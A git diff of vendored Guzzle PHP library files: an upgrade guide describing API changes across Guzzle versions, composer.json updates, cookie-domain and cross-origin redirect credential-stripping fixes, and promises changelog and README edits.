custom retry policies using simple functions rather than various + chained classes. See: https://github.com/guzzle/retry-subscriber +- `Guzzle\Http\Plugin\Cache\CachePlugin` has moved to + https://github.com/guzzle/cache-subscriber +- `Guzzle\Http\Plugin\Log\LogPlugin` has moved to + https://github.com/guzzle/log-subscriber +- `Guzzle\Http\Plugin\Md5\Md5Plugin` has moved to + https://github.com/guzzle/message-integrity-subscriber +- `Guzzle\Http\Plugin\Mock\MockPlugin` has moved to + `GuzzleHttp\Subscriber\MockSubscriber`. +- `Guzzle\Http\Plugin\Oauth\OauthPlugin` has moved to + https://github.com/guzzle/oauth-subscriber + +## Service + +The service description layer of Guzzle has moved into two separate packages: + +- http://github.com/guzzle/command Provides a high level abstraction over web + services by representing web service operations using commands. +- http://github.com/guzzle/guzzle-services Provides an implementation of + guzzle/command that provides request serialization and response parsing using + Guzzle service descriptions. + +## Stream + +Stream have moved to a separate package available at +https://github.com/guzzle/streams. + +`Guzzle\Stream\StreamInterface` has been given a large update to cleanly take +on the responsibilities of `Guzzle\Http\EntityBody` and +`Guzzle\Http\EntityBodyInterface` now that they have been removed. The number +of methods implemented by the `StreamInterface` has been drastically reduced to +allow developers to more easily extend and decorate stream behavior. + +## Removed methods from StreamInterface + +- `getStream` and `setStream` have been removed to better encapsulate streams. +- `getMetadata` and `setMetadata` have been removed in favor of + `GuzzleHttp\Stream\MetadataStreamInterface`. +- `getWrapper`, `getWrapperData`, `getStreamType`, and `getUri` have all been + removed. This data is accessible when + using streams that implement `GuzzleHttp\Stream\MetadataStreamInterface`. +- `rewind` has been removed. Use `seek(0)` for a similar behavior. + +## Renamed methods + +- `detachStream` has been renamed to `detach`. +- `feof` has been renamed to `eof`. +- `ftell` has been renamed to `tell`. +- `readLine` has moved from an instance method to a static class method of + `GuzzleHttp\Stream\Stream`. + +## Metadata streams + +`GuzzleHttp\Stream\MetadataStreamInterface` has been added to denote streams +that contain additional metadata accessible via `getMetadata()`. +`GuzzleHttp\Stream\StreamInterface::getMetadata` and +`GuzzleHttp\Stream\StreamInterface::setMetadata` have been removed. + +## StreamRequestFactory + +The entire concept of the StreamRequestFactory has been removed. The way this +was used in Guzzle 3 broke the actual interface of sending streaming requests +(instead of getting back a Response, you got a StreamInterface). Streaming +PHP requests are now implemented through the `GuzzleHttp\Adapter\StreamAdapter`. + +3.6 to 3.7 +---------- + +### Deprecations + +- You can now enable E_USER_DEPRECATED warnings to see if you are using any deprecated methods.: + +```php +\Guzzle\Common\Version::$emitWarnings = true; +``` + +The following APIs and options have been marked as deprecated: + +- Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use `$request->getResponseBody()->isRepeatable()` instead. +- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +- Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. +- Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. +- Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated +- Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. +- Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. +- Marked `Guzzle\Common\Collection::inject()` as deprecated. +- Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use + `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` or + `$client->setDefaultOption('auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` + +3.7 introduces `request.options` as a parameter for a client configuration and as an optional argument to all creational +request methods. When paired with a client's configuration settings, these options allow you to specify default settings +for various aspects of a request. Because these options make other previous configuration options redundant, several +configuration options and methods of a client and AbstractCommand have been deprecated. + +- Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use `$client->getDefaultOption('headers')`. +- Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use `$client->setDefaultOption('headers/{header_name}', 'value')`. +- Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use `$client->setDefaultOption('params/{param_name}', 'value')` +- Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. These will work through Guzzle 4.0 + + $command = $client->getCommand('foo', array( + 'command.headers' => array('Test' => '123'), + 'command.response_body' => '/path/to/file' + )); + + // Should be changed to: + + $command = $client->getCommand('foo', array( + 'command.request_options' => array( + 'headers' => array('Test' => '123'), + 'save_as' => '/path/to/file' + ) + )); + +### Interface changes + +Additions and changes (you will need to update any implementations or subclasses you may have created): + +- Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: + createRequest, head, delete, put, patch, post, options, prepareRequest +- Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` +- Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` +- Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to + `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a + resource, string, or EntityBody into the $options parameter to specify the download location of the response. +- Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a + default `array()` +- Added `Guzzle\Stream\StreamInterface::isRepeatable` +- Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. + +The following methods were removed from interfaces. All of these methods are still available in the concrete classes +that implement them, but you should update your code to use alternative methods: + +- Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use + `$client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or + `$client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))` or + `$client->setDefaultOption('headers/{header_name}', 'value')`. or + `$client->setDefaultOption('headers', array('header_name' => 'value'))`. +- Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use `$client->getConfig()->getPath('request.options/headers')`. +- Removed `Guzzle\Http\ClientInterface::expandTemplate()`. This is an implementation detail. +- Removed `Guzzle\Http\ClientInterface::setRequestFactory()`. This is an implementation detail. +- Removed `Guzzle\Http\ClientInterface::getCurlMulti()`. This is a very specific implementation detail. +- Removed `Guzzle\Http\Message\RequestInterface::canCache`. Use the CachePlugin. +- Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect`. Use the HistoryPlugin. +- Removed `Guzzle\Http\Message\RequestInterface::isRedirect`. Use the HistoryPlugin. + +### Cache plugin breaking changes + +- CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a + CacheStorageInterface. These two objects and interface will be removed in a future version. +- Always setting X-cache headers on cached responses +- Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin +- `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface + $request, Response $response);` +- `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` +- `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` +- Added `CacheStorageInterface::purge($url)` +- `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin + $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, + CanCacheStrategyInterface $canCache = null)` +- Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` + +3.5 to 3.6 +---------- + +* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. +* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution +* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). + For example, setHeader() first removes the header using unset on a HeaderCollection and then calls addHeader(). + Keeping the Host header and URL host in sync is now handled by overriding the addHeader method in Request. +* Specific header implementations can be created for complex headers. When a message creates a header, it uses a + HeaderFactory which can map specific headers to specific header classes. There is now a Link header and + CacheControl header implementation. +* Moved getLinks() from Response to just be used on a Link header object. + +If you previously relied on Guzzle\Http\Message\Header::raw(), then you will need to update your code to use the +HeaderInterface (e.g. toArray(), getAll(), etc.). + +### Interface changes + +* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate +* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() +* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in + Guzzle\Http\Curl\RequestMediator +* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. +* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface +* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() + +### Removed deprecated functions + +* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() +* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). + +### Deprecations + +* The ability to case-insensitively search for header values +* Guzzle\Http\Message\Header::hasExactHeader +* Guzzle\Http\Message\Header::raw. Use getAll() +* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object + instead. + +### Other changes + +* All response header helper functions return a string rather than mixing Header objects and strings inconsistently +* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle + directly via interfaces +* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist + but are a no-op until removed. +* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a + `Guzzle\Service\Command\ArrayCommandInterface`. +* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response + on a request while the request is still being transferred +* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess + +3.3 to 3.4 +---------- + +Base URLs of a client now follow the rules of http://tools.ietf.org/html/rfc3986#section-5.2.2 when merging URLs. + +3.2 to 3.3 +---------- + +### Response::getEtag() quote stripping removed + +`Guzzle\Http\Message\Response::getEtag()` no longer strips quotes around the ETag response header + +### Removed `Guzzle\Http\Utils` + +The `Guzzle\Http\Utils` class was removed. This class was only used for testing. + +### Stream wrapper and type + +`Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getStreamType()` are no longer converted to lowercase. + +### curl.emit_io became emit_io + +Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using the +'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' + +3.1 to 3.2 +---------- + +### CurlMulti is no longer reused globally + +Before 3.2, the same CurlMulti object was reused globally for each client. This can cause issue where plugins added +to a single client can pollute requests dispatched from other clients. + +If you still wish to reuse the same CurlMulti object with each client, then you can add a listener to the +ServiceBuilder's `service_builder.create_client` event to inject a custom CurlMulti object into each client as it is +created. + +```php +$multi = new Guzzle\Http\Curl\CurlMulti(); +$builder = Guzzle\Service\Builder\ServiceBuilder::factory('/path/to/config.json'); +$builder->addListener('service_builder.create_client', function ($event) use ($multi) { + $event['client']->setCurlMulti($multi); +} +}); +``` + +### No default path + +URLs no longer have a default path value of '/' if no path was specified. + +Before: + +```php +$request = $client->get('http://www.foo.com'); +echo $request->getUrl(); +// >> http://www.foo.com/ +``` + +After: + +```php +$request = $client->get('http://www.foo.com'); +echo $request->getUrl(); +// >> http://www.foo.com +``` + +### Less verbose BadResponseException + +The exception message for `Guzzle\Http\Exception\BadResponseException` no longer contains the full HTTP request and +response information. You can, however, get access to the request and response object by calling `getRequest()` or +`getResponse()` on the exception object. + +### Query parameter aggregation + +Multi-valued query parameters are no longer aggregated using a callback function. `Guzzle\Http\Query` now has a +setAggregator() method that accepts a `Guzzle\Http\QueryAggregator\QueryAggregatorInterface` object. This object is +responsible for handling the aggregation of multi-valued query string variables into a flattened hash. + +2.8 to 3.x +---------- + +### Guzzle\Service\Inspector + +Change `\Guzzle\Service\Inspector::fromConfig` to `\Guzzle\Common\Collection::fromConfig` + +**Before** + +```php +use Guzzle\Service\Inspector; + +class YourClient extends \Guzzle\Service\Client +{ + public static function factory($config = array()) + { + $default = array(); + $required = array('base_url', 'username', 'api_key'); + $config = Inspector::fromConfig($config, $default, $required); + + $client = new self( + $config->get('base_url'), + $config->get('username'), + $config->get('api_key') + ); + $client->setConfig($config); + + $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); + + return $client; + } +``` + +**After** + +```php +use Guzzle\Common\Collection; + +class YourClient extends \Guzzle\Service\Client +{ + public static function factory($config = array()) + { + $default = array(); + $required = array('base_url', 'username', 'api_key'); + $config = Collection::fromConfig($config, $default, $required); + + $client = new self( + $config->get('base_url'), + $config->get('username'), + $config->get('api_key') + ); + $client->setConfig($config); + + $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); + + return $client; + } +``` + +### Convert XML Service Descriptions to JSON + +**Before** + +```xml + + + + + + Get a list of groups + + + Uses a search query to get a list of groups + + + + Create a group + + + + + Delete a group by ID + + + + + + + Update a group + + + + + + +``` + +**After** + +```json +{ + "name": "Zendesk REST API v2", + "apiVersion": "2012-12-31", + "description":"Provides access to Zendesk views, groups, tickets, ticket fields, and users", + "operations": { + "list_groups": { + "httpMethod":"GET", + "uri": "groups.json", + "summary": "Get a list of groups" + }, + "search_groups":{ + "httpMethod":"GET", + "uri": "search.json?query=\"{query} type:group\"", + "summary": "Uses a search query to get a list of groups", + "parameters":{ + "query":{ + "location": "uri", + "description":"Zendesk Search Query", + "type": "string", + "required": true + } + } + }, + "create_group": { + "httpMethod":"POST", + "uri": "groups.json", + "summary": "Create a group", + "parameters":{ + "data": { + "type": "array", + "location": "body", + "description":"Group JSON", + "filters": "json_encode", + "required": true + }, + "Content-Type":{ + "type": "string", + "location":"header", + "static": "application/json" + } + } + }, + "delete_group": { + "httpMethod":"DELETE", + "uri": "groups/{id}.json", + "summary": "Delete a group", + "parameters":{ + "id":{ + "location": "uri", + "description":"Group to delete by ID", + "type": "integer", + "required": true + } + } + }, + "get_group": { + "httpMethod":"GET", + "uri": "groups/{id}.json", + "summary": "Get a ticket", + "parameters":{ + "id":{ + "location": "uri", + "description":"Group to get by ID", + "type": "integer", + "required": true + } + } + }, + "update_group": { + "httpMethod":"PUT", + "uri": "groups/{id}.json", + "summary": "Update a group", + "parameters":{ + "id": { + "location": "uri", + "description":"Group to update by ID", + "type": "integer", + "required": true + }, + "data": { + "type": "array", + "location": "body", + "description":"Group JSON", + "filters": "json_encode", + "required": true + }, + "Content-Type":{ + "type": "string", + "location":"header", + "static": "application/json" + } + } + } +} +``` + +### Guzzle\Service\Description\ServiceDescription + +Commands are now called Operations + +**Before** + +```php +use Guzzle\Service\Description\ServiceDescription; + +$sd = new ServiceDescription(); +$sd->getCommands(); // @returns ApiCommandInterface[] +$sd->hasCommand($name); +$sd->getCommand($name); // @returns ApiCommandInterface|null +$sd->addCommand($command); // @param ApiCommandInterface $command +``` + +**After** + +```php +use Guzzle\Service\Description\ServiceDescription; + +$sd = new ServiceDescription(); +$sd->getOperations(); // @returns OperationInterface[] +$sd->hasOperation($name); +$sd->getOperation($name); // @returns OperationInterface|null +$sd->addOperation($operation); // @param OperationInterface $operation +``` + +### Guzzle\Common\Inflection\Inflector + +Namespace is now `Guzzle\Inflection\Inflector` + +### Guzzle\Http\Plugin + +Namespace is now `Guzzle\Plugin`. Many other changes occur within this namespace and are detailed in their own sections below. + +### Guzzle\Http\Plugin\LogPlugin and Guzzle\Common\Log + +Now `Guzzle\Plugin\Log\LogPlugin` and `Guzzle\Log` respectively. + +**Before** + +```php +use Guzzle\Common\Log\ClosureLogAdapter; +use Guzzle\Http\Plugin\LogPlugin; + +/** @var \Guzzle\Http\Client */ +$client; + +// $verbosity is an integer indicating desired message verbosity level +$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $verbosity = LogPlugin::LOG_VERBOSE); +``` + +**After** + +```php +use Guzzle\Log\ClosureLogAdapter; +use Guzzle\Log\MessageFormatter; +use Guzzle\Plugin\Log\LogPlugin; + +/** @var \Guzzle\Http\Client */ +$client; + +// $format is a string indicating desired message format -- @see MessageFormatter +$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $format = MessageFormatter::DEBUG_FORMAT); +``` + +### Guzzle\Http\Plugin\CurlAuthPlugin + +Now `Guzzle\Plugin\CurlAuth\CurlAuthPlugin`. + +### Guzzle\Http\Plugin\ExponentialBackoffPlugin + +Now `Guzzle\Plugin\Backoff\BackoffPlugin`, and other changes. + +**Before** + +```php +use Guzzle\Http\Plugin\ExponentialBackoffPlugin; + +$backoffPlugin = new ExponentialBackoffPlugin($maxRetries, array_merge( + ExponentialBackoffPlugin::getDefaultFailureCodes(), array(429) + )); + +$client->addSubscriber($backoffPlugin); +``` + +**After** + +```php +use Guzzle\Plugin\Backoff\BackoffPlugin; +use Guzzle\Plugin\Backoff\HttpBackoffStrategy; + +// Use convenient factory method instead -- see implementation for ideas of what +// you can do with chaining backoff strategies +$backoffPlugin = BackoffPlugin::getExponentialBackoff($maxRetries, array_merge( + HttpBackoffStrategy::getDefaultFailureCodes(), array(429) + )); +$client->addSubscriber($backoffPlugin); +``` + +### Known Issues + +#### [BUG] Accept-Encoding header behavior changed unintentionally. + +(See #217) (Fixed in 09daeb8c666fb44499a0646d655a8ae36456575e) + +In version 2.8 setting the `Accept-Encoding` header would set the CURLOPT_ENCODING option, which permitted cURL to +properly handle gzip/deflate compressed responses from the server. In versions affected by this bug this does not happen. +See issue #217 for a workaround, or use a version containing the fix. diff --git a/vendor/guzzlehttp/guzzle/composer.json b/vendor/guzzlehttp/guzzle/composer.json index c01864f0..a57d78f6 100644 --- a/vendor/guzzlehttp/guzzle/composer.json +++ b/vendor/guzzlehttp/guzzle/composer.json @@ -14,18 +14,48 @@ "homepage": "http://guzzlephp.org/", "license": "MIT", "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, { "name": "Michael Dowling", "email": "mtdowling@gmail.com", "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" } ], "require": { "php": ">=5.5", "ext-json": "*", - "symfony/polyfill-intl-idn": "^1.17.0", + "symfony/polyfill-intl-idn": "^1.17", "guzzlehttp/promises": "^1.0", - "guzzlehttp/psr7": "^1.6.1" + "guzzlehttp/psr7": "^1.9" }, "require-dev": { "ext-curl": "*", @@ -36,7 +66,10 @@ "psr/log": "Required for using the Log middleware" }, "config": { - "sort-packages": true + "sort-packages": true, + "allow-plugins": { + "bamarni/composer-bin-plugin": true + } }, "extra": { "branch-alias": { diff --git a/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php b/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php index 38f98ad7..394df3a7 100644 --- a/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php +++ b/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php @@ -240,6 +240,11 @@ public function extractCookies( if (0 !== strpos($sc->getPath(), '/')) { $sc->setPath($this->getCookiePathFromRequest($request)); } + if (!$sc->matchesDomain($request->getUri()->getHost())) { + continue; + } + // Note: At this point `$sc->getDomain()` being a public suffix should + // be rejected, but we don't want to pull in the full PSL dependency. $this->setCookie($sc); } } diff --git a/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php b/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php index 3d776a70..55f6901a 100644 --- a/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php +++ b/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php @@ -333,12 +333,19 @@ public function matchesPath($requestPath) */ public function matchesDomain($domain) { + $cookieDomain = $this->getDomain(); + if (null === $cookieDomain) { + return true; + } + // Remove the leading '.' as per spec in RFC 6265. // http://tools.ietf.org/html/rfc6265#section-5.2.3 - $cookieDomain = ltrim($this->getDomain(), '.'); + $cookieDomain = ltrim(strtolower($cookieDomain), '.'); + + $domain = strtolower($domain); // Domain not set or exact match. - if (!$cookieDomain || !strcasecmp($domain, $cookieDomain)) { + if ('' === $cookieDomain || $domain === $cookieDomain) { return true; } diff --git a/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php b/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php index e4644b7a..008a29b8 100644 --- a/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php +++ b/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php @@ -94,6 +94,14 @@ public function checkRedirect( $this->guardMax($request, $options); $nextRequest = $this->modifyRequest($request, $options, $response); + // If authorization is handled by curl, unset it if URI is cross-origin. + if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $nextRequest->getUri()) && defined('\CURLOPT_HTTPAUTH')) { + unset( + $options['curl'][\CURLOPT_HTTPAUTH], + $options['curl'][\CURLOPT_USERPWD] + ); + } + if (isset($options['allow_redirects']['on_redirect'])) { call_user_func( $options['allow_redirects']['on_redirect'], @@ -141,7 +149,7 @@ function (ResponseInterface $response) use ($uri, $statusCode) { } /** - * Check for too many redirects + * Check for too many redirects. * * @return void * @@ -190,7 +198,7 @@ public function modifyRequest( $modify['body'] = ''; } - $uri = $this->redirectUri($request, $response, $protocols); + $uri = self::redirectUri($request, $response, $protocols); if (isset($options['idn_conversion']) && ($options['idn_conversion'] !== false)) { $idnOptions = ($options['idn_conversion'] === true) ? IDNA_DEFAULT : $options['idn_conversion']; $uri = Utils::idnUriConvert($uri, $idnOptions); @@ -210,16 +218,17 @@ public function modifyRequest( $modify['remove_headers'][] = 'Referer'; } - // Remove Authorization header if host is different. - if ($request->getUri()->getHost() !== $modify['uri']->getHost()) { + // Remove Authorization and Cookie headers if URI is cross-origin. + if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $modify['uri'])) { $modify['remove_headers'][] = 'Authorization'; + $modify['remove_headers'][] = 'Cookie'; } return Psr7\modify_request($request, $modify); } /** - * Set the appropriate URL on the request based on the location header + * Set the appropriate URL on the request based on the location header. * * @param RequestInterface $request * @param ResponseInterface $response @@ -227,7 +236,7 @@ public function modifyRequest( * * @return UriInterface */ - private function redirectUri( + private static function redirectUri( RequestInterface $request, ResponseInterface $response, array $protocols diff --git a/vendor/guzzlehttp/promises/CHANGELOG.md b/vendor/guzzlehttp/promises/CHANGELOG.md new file mode 100644 index 00000000..2e1a2f38 --- /dev/null +++ b/vendor/guzzlehttp/promises/CHANGELOG.md @@ -0,0 +1,116 @@ +# CHANGELOG + +## 1.5.3 - 2023-05-21 + +### Changed + +- Removed remaining usage of deprecated functions + +## 1.5.2 - 2022-08-07 + +### Changed + +- Officially support PHP 8.2 + +## 1.5.1 - 2021-10-22 + +### Fixed + +- Revert "Call handler when waiting on fulfilled/rejected Promise" +- Fix pool memory leak when empty array of promises provided + +## 1.5.0 - 2021-10-07 + +### Changed + +- Call handler when waiting on fulfilled/rejected Promise +- Officially support PHP 8.1 + +### Fixed + +- Fix manually settle promises generated with `Utils::task` + +## 1.4.1 - 2021-02-18 + +### Fixed + +- Fixed `each_limit` skipping promises and failing + +## 1.4.0 - 2020-09-30 + +### Added + +- Support for PHP 8 +- Optional `$recursive` flag to `all` +- Replaced functions by static methods + +### Fixed + +- Fix empty `each` processing +- Fix promise handling for Iterators of non-unique keys +- Fixed `method_exists` crashes on PHP 8 +- Memory leak on exceptions + + +## 1.3.1 - 2016-12-20 + +### Fixed + +- `wait()` foreign promise compatibility + + +## 1.3.0 - 2016-11-18 + +### Added + +- Adds support for custom task queues. + +### Fixed + +- Fixed coroutine promise memory leak. + + +## 1.2.0 - 2016-05-18 + +### Changed + +- Update to now catch `\Throwable` on PHP 7+ + + +## 1.1.0 - 2016-03-07 + +### Changed + +- Update EachPromise to prevent recurring on a iterator when advancing, as this + could trigger fatal generator errors. +- Update Promise to allow recursive waiting without unwrapping exceptions. + + +## 1.0.3 - 2015-10-15 + +### Changed + +- Update EachPromise to immediately resolve when the underlying promise iterator + is empty. Previously, such a promise would throw an exception when its `wait` + function was called. + + +## 1.0.2 - 2015-05-15 + +### Changed + +- Conditionally require functions.php. + + +## 1.0.1 - 2015-06-24 + +### Changed + +- Updating EachPromise to call next on the underlying promise iterator as late + as possible to ensure that generators that generate new requests based on + callbacks are not iterated until after callbacks are invoked. + + +## 1.0.0 - 2015-05-12 + +- Initial release diff --git a/vendor/guzzlehttp/promises/README.md b/vendor/guzzlehttp/promises/README.md index c175fec7..1ea667ab 100644 --- a/vendor/guzzlehttp/promises/README.md +++ b/vendor/guzzlehttp/promises/README.md @@ -17,7 +17,7 @@ for a general introduction to promises. - [Implementation notes](#implementation-notes) -# Features +## Features - [Promises/A+](https://promisesaplus.com/) implementation. - Promise resolution and chaining is handled iteratively, allowing for @@ -29,15 +29,14 @@ for a general introduction to promises. `GuzzleHttp\Promise\Coroutine::of()`. -# Quick start +## Quick Start A *promise* represents the eventual result of an asynchronous operation. The primary way of interacting with a promise is through its `then` method, which registers callbacks to receive either a promise's eventual value or the reason why the promise cannot be fulfilled. - -## Callbacks +### Callbacks Callbacks are registered with the `then` method by providing an optional `$onFulfilled` followed by an optional `$onRejected` function. @@ -60,12 +59,11 @@ $promise->then( ``` *Resolving* a promise means that you either fulfill a promise with a *value* or -reject a promise with a *reason*. Resolving a promises triggers callbacks -registered with the promises's `then` method. These callbacks are triggered +reject a promise with a *reason*. Resolving a promise triggers callbacks +registered with the promise's `then` method. These callbacks are triggered only once and in the order in which they were added. - -## Resolving a promise +### Resolving a Promise Promises are fulfilled using the `resolve($value)` method. Resolving a promise with any value other than a `GuzzleHttp\Promise\RejectedPromise` will trigger @@ -92,8 +90,7 @@ $promise $promise->resolve('reader.'); ``` - -## Promise forwarding +### Promise Forwarding Promises can be chained one after the other. Each then in the chain is a new promise. The return value of a promise is what's forwarded to the next @@ -123,7 +120,7 @@ $promise->resolve('A'); $nextPromise->resolve('B'); ``` -## Promise rejection +### Promise Rejection When a promise is rejected, the `$onRejected` callbacks are invoked with the rejection reason. @@ -140,7 +137,7 @@ $promise->reject('Error!'); // Outputs "Error!" ``` -## Rejection forwarding +### Rejection Forwarding If an exception is thrown in an `$onRejected` callback, subsequent `$onRejected` callbacks are invoked with the thrown exception as the reason. @@ -195,7 +192,8 @@ $promise $promise->reject('Error!'); ``` -# Synchronous wait + +## Synchronous Wait You can synchronously force promises to complete using a promise's `wait` method. When creating a promise, you can provide a wait function that is used @@ -247,8 +245,7 @@ $promise->wait(); > PHP Fatal error: Uncaught exception 'GuzzleHttp\Promise\RejectionException' with message 'The promise was rejected with value: foo' - -## Unwrapping a promise +### Unwrapping a Promise When synchronously waiting on a promise, you are joining the state of the promise into the current state of execution (i.e., return the value of the @@ -275,7 +272,7 @@ wait function will be the value delivered to promise B. **Note**: when you do not unwrap the promise, no value is returned. -# Cancellation +## Cancellation You can cancel a promise that has not yet been fulfilled using the `cancel()` method of a promise. When creating a promise you can provide an optional @@ -283,10 +280,9 @@ cancel function that when invoked cancels the action of computing a resolution of the promise. -# API +## API - -## Promise +### Promise When creating a promise object, you can provide an optional `$waitFn` and `$cancelFn`. `$waitFn` is a function that is invoked with no arguments and is @@ -349,7 +345,7 @@ A promise has the following methods: Rejects the promise with the given `$reason`. -## FulfilledPromise +### FulfilledPromise A fulfilled promise can be created to represent a promise that has been fulfilled. @@ -366,7 +362,7 @@ $promise->then(function ($value) { ``` -## RejectedPromise +### RejectedPromise A rejected promise can be created to represent a promise that has been rejected. @@ -383,7 +379,7 @@ $promise->then(null, function ($reason) { ``` -# Promise interop +## Promise Interoperability This library works with foreign promises that have a `then` method. This means you can use Guzzle promises with [React promises](https://github.com/reactphp/promise) @@ -409,7 +405,7 @@ a foreign promise. You will need to wrap a third-party promise with a Guzzle promise in order to utilize wait and cancel functions with foreign promises. -## Event Loop Integration +### Event Loop Integration In order to keep the stack size constant, Guzzle promises are resolved asynchronously using a task queue. When waiting on promises synchronously, the @@ -437,10 +433,9 @@ $loop->addPeriodicTimer(0, [$queue, 'run']); *TODO*: Perhaps adding a `futureTick()` on each tick would be faster? -# Implementation notes - +## Implementation Notes -## Promise resolution and chaining is handled iteratively +### Promise Resolution and Chaining is Handled Iteratively By shuffling pending handlers from one owner to another, promises are resolved iteratively, allowing for "infinite" then chaining. @@ -476,8 +471,7 @@ all of its pending handlers to the new promise. When the new promise is eventually resolved, all of the pending handlers are delivered the forwarded value. - -## A promise is the deferred. +### A Promise is the Deferred Some promise libraries implement promises using a deferred object to represent a computation and a promise object to represent the delivery of the result of @@ -505,7 +499,10 @@ $promise->resolve('foo'); ## Upgrading from Function API -A static API was first introduced in 1.4.0, in order to mitigate problems with functions conflicting between global and local copies of the package. The function API will be removed in 2.0.0. A migration table has been provided here for your convenience: +A static API was first introduced in 1.4.0, in order to mitigate problems with +functions conflicting between global and local copies of the package. The +function API will be removed in 2.0.0. A migration table has been provided here +for your convenience: | Original Function | Replacement Method | |----------------|----------------| @@ -536,10 +533,12 @@ A static API was first introduced in 1.4.0, in order to mitigate problems with f If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/promises/security/policy) for more information. + 